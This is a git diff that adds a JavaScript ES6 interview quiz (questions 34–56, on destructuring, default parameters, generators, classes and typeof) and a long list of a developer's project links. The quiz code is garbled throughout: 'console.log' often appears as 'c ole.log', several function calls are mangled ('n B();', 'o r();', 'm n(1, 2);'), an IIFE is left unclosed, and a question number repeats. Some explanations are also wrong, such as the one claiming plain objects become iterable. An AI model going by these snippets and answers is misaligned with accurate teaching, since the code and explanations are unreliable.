+The symbols has below constraints,
+
+1. The undefined, Functions, and Symbols are not valid JSON values. So those values are either omitted (in an object) or changed to null (in an array). Hence, it returns null values for the value array.
+2. All Symbol-keyed properties will be completely ignored. Hence it returns an empty object({}).
+
+</p>
+
+</details>
+
+---
+
+#### 34. What is the output of below code
+
+```js
+//
+class A {
+    constructor() {
+        console.log(new.target.name);
+    }
+}
+
+class B extends A {
+    constructor() {
+        super();
+    }
+}
+
+new A();
+n B();
+```
+
+-   1: A, A
+-   2: A, B
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Using constructors, `new.target` refers to the constructor (points to the class definition of class which is initialized) that was directly invoked by new. This also applies to the case if the constructor is in a parent class and was delegated from a child constructor.
+
+</p>
+
+</details>
+
+---
+
+#### 35. What is the output of below code
+
+```js
+//
+const [x, ...y,] = [1, 2, 3, 4];
+c ole.log(x, y);
+```
+
+-   1, [2, 3, 4]
+-   2: 1, [2, 3]
+-   3: 1, [2]
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+It throws a syntax error because the rest element should not have a trailing comma. You should always consider using a rest operator as the last element.
+
+</p>
+
+</details>
+
+---
+
+#### 36. What is the output of below code
+
+```js
+//
+const { a: x = 10, b: y = 20 } = { a: 30 };
+
+console.log(x);
+c ole.log(y);
+```
+
+-   30, 20
+-   2: 10, 20
+-   3: 10, undefined
+-   4: 30, undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+The object property follows below rules,
+
+1. The object properties can be retrieved and assigned to a variable with a different name
+2. The property assigned a default value when the retrieved value is `undefined`
+
+</p>
+
+</details>
+
+---
+
+#### 37. What is the output of below code
+
+---
+
+```js
+//
+
+function area({ length = 10, width = 20 }) {
+    console.log(length * width);
+}
+
+a();
+```
+
+-   200
+-   2: Error
+-   3: undefined
+-   4: 0
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+If you leave out the right-hand side assignment for the destructuring object, the function will look for at least one argument to be supplied when invoked. Otherwise you will receive an error `Error: Cannot read property 'length' of undefined` as mentioned above.
+
+You can avoid the error with either of the below changes,
+
+1. **Pass at least an empty object:**
+
+---
+
+```js
+//
+
+function area({ length = 10, width = 20 }) {
+    console.log(length * width);
+}
+
+area({});
+```
+
+2. **Assign default empty object:**
+
+---
+
+```js
+//
+
+function area({ length = 10, width = 20 } = {}) {
+    console.log(length * width);
+}
+
+area();
+```
+
+</p>
+
+</details>
+
+---
+
+#### 38. What is the output of below code
+
+```js
+//
+const props = [
+    { id: 1, name: 'John' },
+    { id: 2, name: 'Jack' },
+    { id: 3, name: 'Tom' }
+];
+
+const [, , { name }] = props;
+c ole.log(name);
+```
+
+-   Tom
+-   2: Error
+-   3: undefined
+-   4: John
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+It is possible to combine Array and Object destructuring. In this case, the third element in the array props accessed first followed by name property in the object.
+
+</p>
+
+</details>
+
+---
+
+#### 39. What is the output of below code
+
+---
+
+```js
+//
+
+
+function checkType(num = 1) {
+    console.log(typeof num);
+}
+
+checkType();
+checkType(undefined);
+checkType('');
+c kType(null);
+```
+
+-   number, undefined, string, object
+-   2: undefined, undefined, string, object
+-   3: number, number, string, object
+-   4: number, number, number, number
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+If the function argument is set implicitly(not passing argument) or explicitly to undefined, the value of the argument is the default parameter. Whereas for other falsy values('' or null), the value of the argument is passed as a parameter.
+
+Hence, the result of function calls categorized as below,
+
+1. The first two function calls logs number type since the type of default value is number
+2. The type of '' and null values are string and object type respectively.
+
+</p>
+
+</details>
+
+---
+
+#### 40. What is the output of below code
+
+---
+
+```js
+//
+
+
+function add(item, items = []) {
+    items.push(item);
+    return items;
+}
+
+console.log(add('Orange'));
+c ole.log(add('Apple'));
+```
+
+-   1: ['Orange'], ['Orange', 'Apple']
+-   2: ['Orange'], ['Apple']
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Since the default argument is evaluated at call time, a new object is created each time the function is called. So in this case, the new array is created and an element pushed to the default empty array.
+
+</p>
+
+</details>
+
+---
+
+#### 41. What is the output of below code
+
+---
+
+```js
+//
+
+
+function greet(greeting, name, message = greeting + ' ' + name) {
+    console.log([greeting, name, message]);
+}
+
+greet('Hello', 'John');
+g t('Hello', 'John', 'Good morning!');
+```
+
+-   1: SyntaxError
+-   2: ['Hello', 'John', 'Hello John'], ['Hello', 'John', 'Good morning!']
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Since parameters defined earlier are available to later default parameters, this code snippet doesn't throw any error.
+
+</p>
+
+</details>
+
+---
+
+#### 42. What is the output of below code
+
+---
+
+```js
+//
+
+
+function outer(f = inner()) {
+    function inner() {
+        return 'Inner';
+    }
+}
+o r();
+```
+
+-   1: ReferenceError
+-   2: Inner
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+The functions and variables declared in the function body cannot be referred from default value parameter initializers. If you still try to access, it throws a run-time ReferenceError(i.e, `inner` is not defined).
+
+</p>
+
+</details>
+
+---
+
+#### 43. What is the output of below code
+
+---
+
+```js
+//
+
+
+function myFun(x, y, ...manyMoreArgs) {
+    console.log(manyMoreArgs);
+}
+
+myFun(1, 2, 3, 4, 5);
+m n(1, 2);
+```
+
+-   [3, 4, 5], undefined
+-   2: SyntaxError
+-   3: [3, 4, 5], []
+-   4: [3, 4, 5], [undefined]
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+The rest parameter is used to hold the remaining parameters of a function and it becomes an empty array if the argument is not provided.
+
+</p>
+
+</details>
+
+---
+
+#### 44. What is the output of below code
+
+```js
+//
+const obj = { key: 'value' };
+const array = [...obj];
+c ole.log(array);
+```
+
+-   ['key', 'value']
+-   2: TypeError
+-   3: []
+-   4: ['key']
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Spread syntax can be applied only to iterable objects. By default, Objects are not iterable, but they become iterable when used in an Array, or with iterating functions such as `map(), reduce(), and assign()`. If you still try to do it, it still throws `TypeError: obj is not iterable`.
+
+</p>
+
+</details>
+
+---
+
+#### 45. What is the output of below code
+
+---
+
+```js
+//
+
+
+function* myGenFunc() {
+    yield 1;
+    yield 2;
+    yield 3;
+}
+var myGenObj = new myGenFunc();
+c ole.log(myGenObj.next().value);
+```
+
+-   1
+-   2: undefined
+-   3: SyntaxError
+-   4: TypeError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+Generators are not constructible type. But if you still proceed to do, there will be an error saying "TypeError: myGenFunc is not a constructor"
+
+</p>
+
+</details>
+
+---
+
+#### 46. What is the output of below code
+
+---
+
+```js
+//
+
+
+function* yieldAndReturn() {
+    yield 1;
+    return 2;
+    yield 3;
+}
+
+var myGenObj = yieldAndReturn();
+console.log(myGenObj.next());
+console.log(myGenObj.next());
+c ole.log(myGenObj.next());
+```
+
+-   { value: 1, done: false }, { value: 2, done: true }, { value: undefined, done: true }
+-   2: { value: 1, done: false }, { value: 2, done: false }, { value: undefined, done: true }
+-   3: { value: 1, done: false }, { value: 2, done: true }, { value: 3, done: true }
+-   4: { value: 1, done: false }, { value: 2, done: false }, { value: 3, done: true }
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+A return statement in a generator function will make the generator finish. If a value is returned, it will be set as the value property of the object and done property to true. When a generator is finished, subsequent next() calls return an object of this form: `{value: undefined, done: true}`.
+
+</p>
+
+</details>
+
+---
+
+#### 47. What is the output of below code
+
+```js
+//
+const myGenerator = (function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+})();
+for (const value of myGenerator) {
+    console.log(value);
+    break;
+}
+
+for (const value of myGenerator) {
+    console.log(value);
+}
+```
+
+-   1,2,3 and 1,2,3
+-   2: 1,2,3 and 4,5,6
+-   3: 1 and 1
+-   4: 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The generator should not be re-used once the iterator is closed. i.e, Upon exiting a loop(on completion or using break & return), the generator is closed and trying to iterate over it again does not yield any more results. Hence, the second loop doesn't print any value.
+
+</p>
+
+</details>
+
+---
+
+#### 48. What is the output of below code
+
+```js
+//
+const num = 0o38;
+c ole.log(num);
+```
+
+-   1: SyntaxError
+-   2: 38
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+If you use an invalid number(outside of 0-7 range) in the octal literal, JavaScript will throw a SyntaxError. In ES5, it treats the octal literal as a decimal number.
+
+</p>
+
+</details>
+
+---
+
+#### 49. What is the output of below code
+
+```js
+//
+const squareObj = new Square(10);
+console.log(squareObj.area);
+
+class Square {
+    constructor(length) {
+        this.length = length;
+    }
+
+    get area() {
+        return this.length * this.length;
+    }
+
+    set area(value) {
+        this.area = value;
+    }
+}
+```
+
+-   1: 100
+-   2: ReferenceError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Unlike function declarations, class declarations are not hoisted. i.e, First You need to declare your class and then access it, otherwise it will throw a ReferenceError "Uncaught ReferenceError: Square is not defined".
+
+**Note:** Class expressions also applies to the same hoisting restrictions of class declarations.
+
+</p>
+
+</details>
+
+---
+
+#### 50. What is the output of below code
+
+---
+
+```js
+//
+
+
+function Person() {}
+
+Person.prototype.walk = function () {
+    return this;
+};
+
+Person.run = function () {
+    return this;
+};
+
+let user = new Person();
+let walk = user.walk;
+console.log(walk());
+
+let run = Person.run;
+c ole.log(run());
+```
+
+-   undefined, undefined
+-   2: Person, Person
+-   3: SyntaxError
+-   4: Window, Window
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+When a regular or prototype method is called without a value for **this**, the methods return an initial this value if the value is not undefined. Otherwise global window object will be returned. In our case, the initial `this` value is undefined so both methods return window objects.
+
+</p>
+
+</details>
+
+---
+
+#### 51. What is the output of below code
+
+```js
+//
+class Vehicle {
+    constructor(name) {
+        this.name = name;
+    }
+
+    start() {
+        console.log(`${this.name} vehicle started`);
+    }
+}
+
+class Car extends Vehicle {
+    start() {
+        console.log(`${this.name} car started`);
+        super.start();
+    }
+}
+
+const car = new Car('BMW');
+c ole.log(car.start());
+```
+
+-   SyntaxError
+-   2: BMW vehicle started, BMW car started
+-   3: BMW car started, BMW vehicle started
+-   4: BMW car started, BMW car started
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+The super keyword is used to call methods of a superclass. Unlike other languages the super invocation doesn't need to be a first statement. i.e, The statements will be executed in the same order of code.
+
+</p>
+
+</details>
+
+---
+
+#### 52. What is the output of below code
+
+```js
+//
+const USER = { age: 30 };
+USER.age = 25;
+c ole.log(USER.age);
+```
+
+-   30
+-   2: 25
+-   3: Uncaught TypeError
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Even though we used constant variables, the content of it is an object and the object's contents (e.g properties) can be altered. Hence, the change is going to be valid in this case.
+
+</p>
+
+</details>
+
+---
+
+#### 53. What is the output of below code
+
+```js
+//
+c ole.log('🙂' === '🙂');
+```
+
+-   1: false
+-   2: true
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Emojis are unicodes and the unicode for smile symbol is "U+1F642". The unicode comparision of same emojies is equivalent to string comparison. Hence, the output is always true.
+
+</p>
+
+</details>
+
+---
+
+#### 54. What is the output of below code?
+
+```js
+//
+c ole.log(typeof typeof typeof true);
+```
+
+-   string
+-   2: boolean
+-   3: NaN
+-   4: number
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+The typeof operator on any primitive returns a string value. So even if you apply the chain of typeof operators on the return value, it is always string.
+
+</p>
+
+</details>
+
+---
+
+#### 55. What is the output of below code?
+
+```js
+//
+let zero = new Number(0);
+
+if (zero) {
+    console.log('If');
+} else {
+    console.log('Else');
+}
+```
+
+-   If
+-   2: Else
+-   3: NaN
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+1. The type of operator on new Number always returns object. i.e, typeof new Number(0) --> object.
+2. Objects are always truthy in if block
+
+Hence the above code block always goes to if section.
+
+</p>
+
+</details>
+
+---
+
+#### 55. What is the output of below code in non strict mode?
+
+```js
+//
+let msg = 'Good morning!!';
+
+msg.name = 'John';
+
+c ole.log(msg.name);
+```
+
+-   ""
+-   2: Error
+-   3: John
+-   4: Undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+It returns undefined for non-strict mode and returns Error for strict mode. In non-strict mode, the wrapper object is going to be created and get the mentioned property. But the object get disappeared after accessing the property in next line.
+
+</p>
+
+</details>
+
+---
+
+#### 56. What is the output of below code?
+
+```js
+//
+let count = 10;
+
+(function innerFunc() {
+    if (count === 10) {
+        let count = 11;
+        console.log(count);
+    }
+    console.log(count);
+} ;
+```
+
+-   11, 10
+-   2: 11, 11
+-   3: 10, 11
+-   4: 10, 10
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+11 and 10 is logged to the console.
+
+The innerFunc is a closure which captures the count variable from the outerscope. i.e, 10. But the conditional has another local variable `count` which overwrites the ourter `count` variable. So the first console.log displays value 11.
+Whereas the second console.log logs 10 by capturing the count variable from outerscope.
+
+</p>
+
+</details>
+
+---
+
+---
+
+```
+
+
+</details>
+```
diff --git a/src/pages/docs/career/project-links.md b/src/pages/docs/career/project-links.md
new file mode 100644
index 0000000000..7f89ebfa01
--- /dev/null
+++ b/src/pages/docs/career/project-links.md
@@ -0,0 +1,404 @@
+---
+title: "Projects "
+excerpt: We'd love it if you participate in the Web-Dev-Hubcommunity. Find out
+  how to get connected.
+seo:
+  title: List Of Projects
+  description: |
+    introductory-react-part-2
+    a-very-quick-guide-to-calculating-big-o-computational-complexity
+    introduction-to-react css-animations
+  extra:
+    - name: og:type
+      value: website
+      keyName: property
+    - name: og:title
+      value: List Of Projects Articles
+      keyName: property
+    - name: og:description
+      value: ""
+      keyName: property
+    - name: twitter:card
+      value: summary
+    - name: twitter:title
+      value: List Of Projectss
+    - name: twitter:description
+      value: This is the community page
+    - name: og:image
+      value: images/beige-maple.png
+      keyName: property
+      relativeUrl: true
+template: docs
+weight: 0
+---
+
+1.  [WEB DEV RESOURCE HUB](https://web-dev-resource-hub.netlify.app)
+
+2.  [Learn Redux](https://learning-redux42.netlify.app/)
+
+3.  [Data Structures Website](https://trusting-dijkstra-4d3b17.netlify.app)
+
+4.  [Web-Dev-Quizzes](https://web-dev-interview-prep-quiz-website.netlify.app/intro-js2.html)
+
+5.  [Recursion](https://zen-lamport-5aab2c.netlify.app)
+
+6.  [React Documentation Site](https://csb-ov0d1-bgoonz.vercel.app/)
+
+7.  [Blogs-from-webdevhub](https://amazing-hodgkin-33aea6.netlify.app)
+
+8.  [Realty Website Demo](https://angry-fermat-dcf5dd.netlify.app)
+
+9.  [Best-Prac & Tools](https://boring-heisenberg-f425d8.netlify.app)
+
+10. [site-analysis](https://site-analysis.netlify.app/)
+
+11. [a/AOpen Notes](https://clever-bartik-b5ba19.netlify.app)
+
+12. [Iframe Embed Playground](https://code-playground.netlify.app)
+
+13. [Triggered Effects Guitar Platform](https://condescending-lewin-c96727.netlify.app)
+
+14. [Live Form](https://determined-dijkstra-666766.netlify.app)
+
+15. [Interview Questions](https://determined-dijkstra-ee7390.netlify.app)
+
+16. [Resources Compilation](https://eager-northcutt-456076.netlify.app)
+
+17. [React Blog Depreciated](https://ecstatic-jang-593fd1.netlify.app)
+
+18. [MihirBeg.com](https://eloquent-sammet-ba1810.netlify.app)
+
+19. [Embeded Html Projects](https://embedable-content.netlify.app)
+
+20. [Cheat Sheets](https://festive-borg-e4d856.netlify.app)
+
+21. [Early Version Of WebDevHub](https://focused-pasteur-0faac8.netlify.app)
+
+22. [My Gists](https://gists42.netlify.app)
+
+23. [DS-Algo-Links](https://gracious-raman-474030.netlify.app)
+
+24. [Video Chat App](https://happy-mestorf-0f8e75.netlify.app)
+
+25. [Ciriculumn](https://hungry-shaw-30d504.netlify.app)
+
+26. [Cheat Sheets](https://inspiring-jennings-d14689.netlify.app)
+
+27. [Links](https://links4242.netlify.app)
+
+28. [Medium Articles](https://modest-booth-4e17df.netlify.app)
+
+29. [NextJS Blog Template](https://modest-torvalds-34afbc.netlify.app)
+
+30. [React Demo](https://modest-varahamihira-772b59.netlify.app)
+
+31. [Ecomerce Norwex V1](https://nervous-swartz-0ab2cc.netlify.app)
+
+32. [Gifs](https://objective-borg-a327cd.netlify.app)
+
+33. [Excel2HTML](https://pedantic-wing-adbf82.netlify.app)
+
+34. [Data Structures Site](https://pensive-meitner-1ea8c4.netlify.app)
+
+35. [Portfolio](https://portfolio42.netlify.app)
+
+36. [Page Templates](https://priceless-shaw-86ccb2.netlify.app)
+
+37. [Photo Gallary](https://quizzical-mcnulty-fa09f2.netlify.app)
+
+38. [Coffee Website](https://relaxed-bhaskara-dc85ec.netlify.app)
+
+39. [Awesome Resources](https://romantic-hamilton-514b79.netlify.app)
+
+40. [Cheat Sheets](https://silly-lichterman-b22b5f.netlify.app)
+
+41. [Link City](https://silly-shirley-ec955e.netlify.app)
+
+42. [VSCODE Extensions](https://stoic-mccarthy-2c335f.netlify.app)
+
+43. [webdevhub manual attempt](https://web-dev-resource-hub-manual-deploy.netlify.app)
+
+44. [Norwex Resources](https://wonderful-pasteur-392fbe.netlify.app)
+
+45. [idk](https://zen-bhabha-bd046f.netlify.app)
+
+46. [heroku bare bones template](https://getting-started42.herokuapp.com/)
+
+47. [bad reads](https://bad-reads42.herokuapp.com/)
+
+48. [docusaurus](https://documentation-site-react2.vercel.app/)
+
+49. [stackbit](https://app.stackbit.com/studio/609b2d7c71a5dd0016f36326)
+
+---
+
+# More
+
+- [https://admiring-montalcini-965c0b](https://admiring-montalcini-965c0b.netlify.app)
+- [https://adoring-carson-fac9fb](https://adoring-carson-fac9fb.netlify.app)
+- [https://adoring-nobel-85c068](https://adoring-nobel-85c068.netlify.app)
+- [https://bg-portfolio](https://bg-portfolio.netlify.app)
+- [https://bg-resume](https://bg-resume.netlify.app)
+- [https://bgoonz-blog-v3-0](https://bgoonz-blog-v3-0.netlify.app)
+- [https://bgoonz-blog](https://bgoonz-blog.netlify.app)
+- [https://bgoonz-bookmarks](https://bgoonz-bookmarks.netlify.app)
+- [https://bgoonz-cv](https://bgoonz-cv.netlify.app)
+- [https://bgoonz-games](https://bgoonz-games.netlify.app)
+- [https://bgoonzblog20-backup](https://bgoonzblog20-backup.netlify.app)
+- [https://bgoonzblog20-redo](https://bgoonzblog20-redo.netlify.app)
+- [https://bgoonzblog20starter](https://bgoonzblog20starter.netlify.app)
+- [https://bgoonzblog30](https://bgoonzblog30.netlify.app)
+- [https://bgoonzconnekt4](https://bgoonzconnekt4.netlify.app)
+- [https://bgoonzgist](https://bgoonzgist)
+- [https://bgoonzmedium](https://bgoonzmedium.netlify.app)
+- [https://bicknborty](https://bicknborty.netlify.app)
+- [https://blog-v42-31eba](https://blog-v42-31eba.netlify.app)
+- [https://blog3-backup-dd7df](https://blog3-backup-dd7df.netlify.app)
+- [https://cheatsheets42](https://cheatsheets42)
+- [https://clever-ramanujan-f9ce0a](https://clever-ramanujan-f9ce0a.netlify.app)
+- [https://code-playground](https://code-playground.netlify.app)
+- [https://condescending-lewin-c96727](https://condescending-lewin-c96727.netlify.app)
+- [https://curious-rabbit-f33af](https://curious-rabbit-f33af.netlify.app)
+- [https://determined-dijkstra-ee7390](https://determined-dijkstra-ee7390)
+- [https://dev-journal42](https://dev-journal42.netlify.app)
+- [https://devtools42](https://devtools42.netlify.app)
+- [https://docs42](https://docs42.netlify.app)
+- [https://ds-algo-official](https://ds-algo-official.netlify.app)
+- [https://ds-unit-5-lambda](https://ds-unit-5-lambda)
+- [https://elegant-goodall-566182](https://elegant-goodall-566182)
+- [https://elite-cabbage-3551b](https://elite-cabbage-3551b.netlify.app)
+- [https://enthusiastic-tomato-a7ebc](https://enthusiastic-tomato-a7ebc)
+- [https://exploring-next-sanity](https://exploring-next-sanity.netlify.app)
+- [https://festive-elion-13b19c](https://festive-elion-13b19c.netlify.app)
+- [https://festive-kilby-f0a784](https://festive-kilby-f0a784)
+- [https://flamboyant-northcutt-14b025](https://flamboyant-northcutt-14b025.netlify.app)
+- [https://fourm-builder-gui](https://fourm-builder-gui.netlify.app)
+- [https://friendly-amaranth-51833](https://friendly-amaranth-51833.netlify.app)
+- [https://friendly-poincare-a11e2f](https://friendly-poincare-a11e2f.netlify.app)
+- [https://githtmlpreview](https://githtmlpreview.netlify.app)
+- [https://github.com/bgoonz/alternate-blog-theme](https://github.com/bgoonz/alternate-blog-theme)
+- [https://github.com/bgoonz/atlassian-templates](https://github.com/bgoonz/atlassian-templates)
+- [https://github.com/bgoonz/bgoonz.github.io](https://github.com/bgoonz/bgoonz.github.io)
+- [https://github.com/bgoonz/BGOONZBLOG2.0STABLE](https://github.com/bgoonz/BGOONZBLOG2.0STABLE)
+- [https://github.com/bgoonz/bgoonzblog3.0](https://github.com/bgoonz/bgoonzblog3.0)
+- [https://github.com/bgoonz/blog-research](https://github.com/bgoonz/blog-research)
+- [https://github.com/bgoonz/blog-v42](https://github.com/bgoonz/blog-v42)
+- [https://github.com/bgoonz/blog3-backup](https://github.com/bgoonz/blog3-backup)
+- [https://github.com/bgoonz/commercejs-nextjs-demo-store42](https://github.com/bgoonz/commercejs-nextjs-demo-store42)
+- [https://github.com/bgoonz/commercejs-nextjs-demo-store](https://github.com/bgoonz/commercejs-nextjs-demo-store)
+- [https://github.com/bgoonz/Common-npm-Readme-Compilation](https://github.com/bgoonz/Common-npm-Readme-Compilation)
+- [https://github.com/bgoonz/Connect-Four-Final-Version](https://github.com/bgoonz/Connect-Four-Final-Version)
+- [https://github.com/bgoonz/cool-hickory](https://github.com/bgoonz/cool-hickory)
+- [https://github.com/bgoonz/Cumulative-Resource-List](https://github.com/bgoonz/Cumulative-Resource-List)
+- [https://github.com/bgoonz/curious-eggplant](https://github.com/bgoonz/curious-eggplant)
+- [https://github.com/bgoonz/curious-zebra](https://github.com/bgoonz/curious-zebra)
+- [https://github.com/bgoonz/Data-Struc-Static](https://github.com/bgoonz/Data-Struc-Static)
+- [https://github.com/bgoonz/docs-collection](https://github.com/bgoonz/docs-collection)
+- [https://github.com/bgoonz/DS-ALGO-OFFICIAL](https://github.com/bgoonz/DS-ALGO-OFFICIAL)
+- [https://github.com/bgoonz/ecommerce-interactive](https://github.com/bgoonz/ecommerce-interactive)
+- [https://github.com/bgoonz/ecommerce-react](https://github.com/bgoonz/ecommerce-react)
+- [https://github.com/bgoonz/elite-cabbage](https://github.com/bgoonz/elite-cabbage)
+- [https://github.com/bgoonz/embedable-repl-and-integrated-code-space-playground](https://github.com/bgoonz/embedable-repl-and-integrated-code-space-playground)
+- [https://github.com/bgoonz/excel2html-table](https://github.com/bgoonz/excel2html-table)
+- [https://github.com/bgoonz/form-builder-vanilla-js](https://github.com/bgoonz/form-builder-vanilla-js)
+- [https://github.com/bgoonz/friendly-amaranth](https://github.com/bgoonz/friendly-amaranth)
+- [https://github.com/bgoonz/Games](https://github.com/bgoonz/Games)
+- [https://github.com/bgoonz/gatsby-netlify-cms](https://github.com/bgoonz/gatsby-netlify-cms)
+- [https://github.com/bgoonz/gatsby-starter-portfolio-cara](https://github.com/bgoonz/gatsby-starter-portfolio-cara)
+- [https://github.com/bgoonz/GIT-HTML-PREVIEW-TOOL](https://github.com/bgoonz/GIT-HTML-PREVIEW-TOOL)
+- [https://github.com/bgoonz/graceful-pine](https://github.com/bgoonz/graceful-pine)
+- [https://github.com/bgoonz/html-resume](https://github.com/bgoonz/html-resume)
+- [https://github.com/bgoonz/https*\_\_mihirbeg.com*](https://github.com/bgoonz/https___mihirbeg.com_)
+- [https://github.com/bgoonz/hugo-cms](https://github.com/bgoonz/hugo-cms)
+- [https://github.com/bgoonz/iframe-showcase](https://github.com/bgoonz/iframe-showcase)
+- [https://github.com/bgoonz/interesting-aspen](https://github.com/bgoonz/interesting-aspen)
+- [https://github.com/bgoonz/jamstack-comments-engine1](https://github.com/bgoonz/jamstack-comments-engine1)
+- [https://github.com/bgoonz/jamstack-comments-engine2](https://github.com/bgoonz/jamstack-comments-engine2)
+- [https://github.com/bgoonz/jamstack-comments-engine](https://github.com/bgoonz/jamstack-comments-engine)
+- [https://github.com/bgoonz/kind-petunia](https://github.com/bgoonz/kind-petunia)
+- [https://github.com/bgoonz/lambda-prep](https://github.com/bgoonz/lambda-prep)
+- [https://github.com/bgoonz/Lambda-Resource-Static-Assets](https://github.com/bgoonz/Lambda-Resource-Static-Assets)
+- [https://github.com/bgoonz/Lambda](https://github.com/bgoonz/Lambda)
+- [https://github.com/bgoonz/Links-Shortcut-Site](https://github.com/bgoonz/Links-Shortcut-Site)
+- [https://github.com/bgoonz/live-form](https://github.com/bgoonz/live-form)
+- [https://github.com/bgoonz/Live-htmlRendered-Mocha-Spec--Recursion-Practice](https://github.com/bgoonz/Live-htmlRendered-Mocha-Spec--Recursion-Practice)
+- [https://github.com/bgoonz/marvelous-aluminum](https://github.com/bgoonz/marvelous-aluminum)
+- [https://github.com/bgoonz/meditation-app](https://github.com/bgoonz/meditation-app)
+- [https://github.com/bgoonz/Medium_Articles](https://github.com/bgoonz/Medium_Articles)
+- [https://github.com/bgoonz/MihirBegMusicLab](https://github.com/bgoonz/MihirBegMusicLab)
+- [https://github.com/bgoonz/Mihir_Beg_Final](https://github.com/bgoonz/Mihir_Beg_Final)
+- [https://github.com/bgoonz/mini-project-showcase](https://github.com/bgoonz/mini-project-showcase)
+- [https://github.com/bgoonz/modern-triceratops](https://github.com/bgoonz/modern-triceratops)
+- [https://github.com/bgoonz/Music-Theory-n-Web-Synth-Keyboard](https://github.com/bgoonz/Music-Theory-n-Web-Synth-Keyboard)
+- [https://github.com/bgoonz/My-Medium-Blog](https://github.com/bgoonz/My-Medium-Blog)
+- [https://github.com/bgoonz/nervous-parsley](https://github.com/bgoonz/nervous-parsley)
+- [https://github.com/bgoonz/nextjs-netlify-blog-template2](https://github.com/bgoonz/nextjs-netlify-blog-template2)
+- [https://github.com/bgoonz/nextjs-netlify-blog-template42](https://github.com/bgoonz/nextjs-netlify-blog-template42)
+- [https://github.com/bgoonz/nextjs-netlify-blog-template](https://github.com/bgoonz/nextjs-netlify-blog-template)
+- [https://github.com/bgoonz/norwex-react](https://github.com/bgoonz/norwex-react)
+- [https://github.com/bgoonz/ntn-boilerplate](https://github.com/bgoonz/ntn-boilerplate)
+- [https://github.com/bgoonz/oval-cabbage](https://github.com/bgoonz/oval-cabbage)
+- [https://github.com/bgoonz/panoramic-eggplant](https://github.com/bgoonz/panoramic-eggplant)
+- [https://github.com/bgoonz/Potluck-Planner](https://github.com/bgoonz/Potluck-Planner)
+- [https://github.com/bgoonz/Project-Showcase](https://github.com/bgoonz/Project-Showcase)
+- [https://github.com/bgoonz/python-playground-embed](https://github.com/bgoonz/python-playground-embed)
+- [https://github.com/bgoonz/PYTHON_PRAC](https://github.com/bgoonz/PYTHON_PRAC)
+- [https://github.com/bgoonz/random-list-of-embedable-content](https://github.com/bgoonz/random-list-of-embedable-content)
+- [https://github.com/bgoonz/random-static-html-page-deploy](https://github.com/bgoonz/random-static-html-page-deploy)
+- [https://github.com/bgoonz/React-Practice](https://github.com/bgoonz/React-Practice)
+- [https://github.com/bgoonz/react-web-anki-flash-cards](https://github.com/bgoonz/react-web-anki-flash-cards)
+- [https://github.com/bgoonz/Revamped-Automatic-Guitar-Effect-Triggering](https://github.com/bgoonz/Revamped-Automatic-Guitar-Effect-Triggering)
+- [https://github.com/bgoonz/sanity-catalyst](https://github.com/bgoonz/sanity-catalyst)
+- [https://github.com/bgoonz/sanity-commercelayer1](https://github.com/bgoonz/sanity-commercelayer1)
+- [https://github.com/bgoonz/sanity-commercelayer](https://github.com/bgoonz/sanity-commercelayer)
+- [https://github.com/bgoonz/sanity-gatsby-blog3](https://github.com/bgoonz/sanity-gatsby-blog3)
+- [https://github.com/bgoonz/sanity-gatsby-blog4](https://github.com/bgoonz/sanity-gatsby-blog4)
+- [https://github.com/bgoonz/sanity-gatsby-blog](https://github.com/bgoonz/sanity-gatsby-blog)
+- [https://github.com/bgoonz/sanity-gatsby-hey-sugar2](https://github.com/bgoonz/sanity-gatsby-hey-sugar2)
+- [https://github.com/bgoonz/sanity-gatsby-hey-sugar5](https://github.com/bgoonz/sanity-gatsby-hey-sugar5)
+- [https://github.com/bgoonz/sanity-gatsby-hey-sugar](https://github.com/bgoonz/sanity-gatsby-hey-sugar)
+- [https://github.com/bgoonz/sanity-gatsby-portfolio3](https://github.com/bgoonz/sanity-gatsby-portfolio3)
+- [https://github.com/bgoonz/sanity-gatsby-portfolio](https://github.com/bgoonz/sanity-gatsby-portfolio)
+- [https://github.com/bgoonz/sanity-jigsaw-blog](https://github.com/bgoonz/sanity-jigsaw-blog)
+- [https://github.com/bgoonz/sanity-kitchen-sink2](https://github.com/bgoonz/sanity-kitchen-sink2)
+- [https://github.com/bgoonz/sanity-kitchen-sink3](https://github.com/bgoonz/sanity-kitchen-sink3)
